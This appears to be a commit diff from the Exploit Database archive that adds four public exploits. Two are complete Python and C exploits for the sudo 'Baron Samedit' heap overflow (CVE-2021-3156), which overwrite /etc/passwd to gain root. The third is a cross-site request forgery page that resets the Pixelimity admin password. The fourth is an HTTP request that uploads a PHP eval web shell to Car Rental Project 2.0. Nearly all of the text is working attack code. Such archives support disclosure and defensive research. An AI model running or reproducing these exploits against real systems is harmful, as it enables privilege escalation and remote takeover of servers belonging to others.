DB: 2021-02-04
4 changes to exploits/shellcodes Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1) Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2) Pixelimity 1.0 - 'password' Cross-Site Request Forgery Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
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Offensive Security
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5 changed files with 371 additions and 0 deletions
139
exploits/multiple/local/49521.py
Executable file
139
exploits/multiple/local/49521.py
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# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
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# Date: 2021-02-02
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# Exploit Author: West Shepherd
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# Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.
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# Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31
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# CVE : CVE-2021-3156
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# Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.
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# Sources:
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# (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
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# (2) https://github.com/stong/CVE-2021-3156
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# Requirements: Python3
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#!/usr/bin/python3
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import os
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import pwd
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import time
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import sys
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import argparse
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class Exploit(object):
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username = ''
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size = 0
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data = ''
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def __init__(self, source, target, sleep):
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self.sleep = sleep
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self.source = source
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self.target = target
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@staticmethod
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def readFile(path):
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return open(path, 'r').read()
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@staticmethod
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def getUser():
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return pwd.getpwuid(os.getuid())[0]
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@staticmethod
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def getSize(path):
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return os.stat(path).st_size
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def main(self):
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self.username = self.getUser()
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self.data = self.readFile(self.source)
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self.size = self.getSize(self.target)
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environ = {
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'\n\n\n\n\n': '\n' + self.data,
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'SUDO_ASKPASS': '/bin/false',
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'LANG':
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'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
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'A': 'A' * 0xffff
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}
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for i in range(5000):
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directory =
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'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
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overflow =
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'11111111111111111111111111111111111111111111111111111111%s' %
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directory
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if os.path.exists(directory):
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sys.stdout.write('file exists %s\n' % directory)
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continue
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child = os.fork()
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os.environ = environ
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if child:
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sys.stdout.write('[+] parent %d \n' % i)
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sys.stdout.flush()
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time.sleep(self.sleep)
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if not os.path.exists(directory):
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try:
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os.mkdir(directory, 0o700)
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os.symlink(self.target, '%s/%s' % (directory,
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self.username))
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os.waitpid(child, 0)
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except:
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continue
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else:
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sys.stdout.write('[+] child %d \n' % i)
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sys.stdout.flush()
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os.setpriority(os.PRIO_PROCESS, 0, 20)
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os.execve(
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path='/usr/bin/sudoedit',
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argv=[
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'/usr/bin/sudoedit',
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'-A',
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'-s',
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'\\',
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overflow
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],
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env=environ
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)
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sys.stdout.write('[!] execve failed\n')
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sys.stdout.flush()
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os.abort()
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break
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if self.size != self.getSize(self.target):
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sys.stdout.write('[*] success at iteration %d \n' % i)
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sys.stdout.flush()
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break
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sys.stdout.write("""
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\nConsider the following if the exploit fails:
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\n\t(1) If all directories are owned by root then sleep
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needs to be decreased.
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\n\t(2) If they're all owned by you, then sleep needs
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increased.
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""")
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if __name__ == '__main__':
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parser = argparse.ArgumentParser(
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add_help=True,
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description='* Sudo Privilege Escalation / Heap Overflow -
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CVE-2021-3156 *'
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)
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try:
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parser.add_argument('-source', action='store', help='Path to
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malicious "passwd" file to overwrite the target')
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parser.add_argument('-target', action='store', help='Target
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file path to be overwritten (default: /etc/passwd)')
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parser.add_argument('-sleep', action='store', help='Sleep
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setting for forked processes (default: 0.01 seconds')
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parser.set_defaults(target='/etc/passwd', sleep='0.01')
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options = parser.parse_args()
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if options.source is None:
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parser.print_help()
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sys.exit(1)
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exp = Exploit(
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source=options.source,
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target=options.target,
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sleep=float(options.sleep)
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)
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exp.main()
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except Exception as err:
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sys.stderr.write(str(err))
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151
exploits/multiple/local/49522.c
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151
exploits/multiple/local/49522.c
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# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)
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# Authors and Contributors: cts, help from r4j, debug by nu11secur1ty
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# Date: 30.01.2021
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# Vendor: https://www.sudo.ws/
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# Link: https://www.sudo.ws/download.html
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# CVE: CVE-2021-3156
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[+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021
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[Exploit Program Code]
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// Exploit by @gf_256 aka cts
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// With help from r4j
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// Debug by @nu11secur1ty
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// Original advisory by Baron Samedit of Qualys
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// Tested on Ubuntu 18.04 and 20.04 & 20.04.01
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// You will probably need to adjust RACE_SLEEP_TIME.
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#include <stdio.h>
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#include <stdint.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdlib.h>
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#include <assert.h>
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#include <unistd.h>
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#include <sys/wait.h>
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#include <sys/types.h>
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#include <sys/resource.h>
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#include <sys/stat.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <pwd.h>
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// !!! best value of this varies from system-to-system !!!
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// !!! you will probably need to tune this !!!
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#define RACE_SLEEP_TIME 10000
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char *target_file;
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char *src_file;
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size_t query_target_size()
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{
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struct stat st;
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stat(target_file, &st);
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return st.st_size;
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}
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char* read_src_contents()
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{
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FILE* f = fopen(src_file, "rb");
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if (!f) {
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puts("oh no baby what are you doing :(");
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abort();
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}
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fseek(f, 0, SEEK_END);
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long fsize = ftell(f);
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fseek(f, 0, SEEK_SET);
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char *content = malloc(fsize + 1);
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fread(content, 1, fsize, f);
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fclose(f);
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return content;
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}
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char* get_my_username()
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{
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// getlogin can return incorrect result (for example, root under su)!
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struct passwd *pws = getpwuid(getuid());
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return strdup(pws->pw_name);
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}
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int main(int my_argc, char **my_argv)
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{
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puts("CVE-2021-3156 PoC by @gf_256");
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puts("original advisory by Baron Samedit");
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if (my_argc != 3) {
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puts("./meme <target file> <src file>");
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puts("Example: ./meme /etc/passwd my_fake_passwd_file");
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return 1;
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}
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target_file = my_argv[1];
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src_file = my_argv[2];
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printf("we will overwrite %s with stuff from %s\n", target_file, src_file);
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char* myusername = get_my_username();
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printf("hi, my name is %s\n", myusername);
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size_t initial_size = query_target_size();
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printf("%s is %zi big right now\n", target_file, initial_size);
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char* stuff_to_write = read_src_contents();
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char memedir[1000];
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char my_symlink[1000];
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char overflow[1000];
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char* bigstuff = calloc(1,0x10000);
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memset(bigstuff, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address
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char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL
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};
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char *envp[] = {
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"\n\n\n\n\n", // put some newlines here to separate our real contents from the junk stuff_to_write,
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"SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
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", bigstuff, NULL
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};
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puts("ok podracing time bitches");
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// Boom =)
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// for (int i = 0; i < 5000; i++)
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for (int i = 0; i < 3000; i++) {
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sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);
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sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir);
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sprintf(my_symlink, "%s/%s", memedir, myusername);
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puts(memedir);
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if (access(memedir, F_OK) == 0) {
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printf("dude, %s already exists, do it from a clean working dir\n", memedir);
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return 1;
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}
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pid_t childpid = fork();
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if (childpid) { // parent
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usleep(RACE_SLEEP_TIME);
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mkdir(memedir, 0700);
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symlink(target_file, my_symlink);
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waitpid(childpid, 0, 0);
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} else { // child
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setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability
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execve("/usr/bin/sudoedit", argv, envp); // noreturn
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puts("execve fails?!");
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abort();
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}
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if (query_target_size() != initial_size) {
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puts("target file has a BRUH MOMENT!!!! SUCCess???");
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system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'");
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// ayy lmao
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return 0;
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}
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}
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puts("Failed?");
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puts("if all the meme dirs are owned by root, the usleep needs to be decreased.");
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puts("if they're all owned by you, the usleep needs to be increased");
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return 0;
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}
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37
exploits/multiple/webapps/49519.html
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37
exploits/multiple/webapps/49519.html
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# Exploit Title: Pixelimity 1.0 - 'password' Cross-Site Request Forgery
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# Date: 2020-06-03
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# Exploit Author: Noth
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# Vendor Homepage: https://github.com/pixelimity/pixelimity
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# Software Link: https://github.com/pixelimity/pixelimity
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# Version: v1.0
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# CVE : 2020-23522
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Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.
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PoC :
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<html>
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<body>
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<script>history.pushState(",",'/')</script>
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<form action=“http://127.0.0.1/pixelimity-dev/admin/setting.php
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” method=“POST”>
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<input type=“hidden” name=“submit_setting” value=“Save Setting”/>
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<input type=“hidden” name=“data[admin_portfolio_show]”
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value=“5”/>
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<input type=“hidden” name=“data[admin_pages_show]”
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value=“5”/>
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<input type=“hidden” name=“admin[data_password]”
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value=“456789”/>
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<input type=“hidden” name=“data[site#95;name]"
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value=“Pixelimity”/>
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<input type=“hidden” name=“data[site_name]show]”
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value=“My Online Portfolio”/>
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<input type=“hidden” name=“data[home_image_size]” value=“5”/>
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<input type=“hidden” name=“ data[single_image_image_size#93
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” value=“ 240&44;0,0&44;auto ”/>
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<input type=“hidden” name=“data[single_image_image_size#93”
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value=“720&44;0,0&44;auto”/>
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<input type=“submit” value=“Submit request”/>
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</form>
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</body>
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</html>
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40
exploits/php/webapps/49520.py
Executable file
40
exploits/php/webapps/49520.py
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# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
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# Date: 3/2/2021
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# Exploit Author: Jannick Tiger
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# Vendor Homepage: https://phpgurukul.com/
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# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
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# Version: V 2.0
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# Tested on Windows 10, XAMPP
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POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
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Gecko/20100101 Firefox/85.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data;
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boundary=---------------------------346751171915680139113101061568
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Content-Length: 369
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4
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Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
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Upgrade-Insecure-Requests: 1
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-----------------------------346751171915680139113101061568
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Content-Disposition: form-data; name="img1"; filename="1.php"
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Content-Type: application/octet-stream
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<?php @eval($_POST[pp]);?>
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-----------------------------346751171915680139113101061568
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Content-Disposition: form-data; name="update"
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-----------------------------346751171915680139113101061568--
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# Uploaded Malicious File can be Found in :
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carrental\admin\img\vehicleimages\1.php
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# go to http://localhost/carrental/admin/img/vehicleimages/1.php, Execute malicious code via post value phpinfo();
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@ -11252,6 +11252,8 @@ id,file,description,date,author,type,platform,port
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49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2021-02-02,"Marco Ivaldi",local,solaris,
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49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
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49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
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49521,exploits/multiple/local/49521.py,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)",2021-02-03,"West Shepherd",local,multiple,
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49522,exploits/multiple/local/49522.c,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)",2021-02-03,nu11secur1ty,local,multiple,
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1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
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2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
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5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
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@ -43710,3 +43712,5 @@ id,file,description,date,author,type,platform,port
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49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php,
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49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php,
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49513,exploits/php/webapps/49513.txt,"Student Record System 4.0 - 'cid' SQL Injection",2021-02-02,"Jannick Tiger",webapps,php,
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49519,exploits/multiple/webapps/49519.html,"Pixelimity 1.0 - 'password' Cross-Site Request Forgery",2021-02-03,Noth,webapps,multiple,
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49520,exploits/php/webapps/49520.py,"Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution",2021-02-03,"Jannick Tiger",webapps,php,
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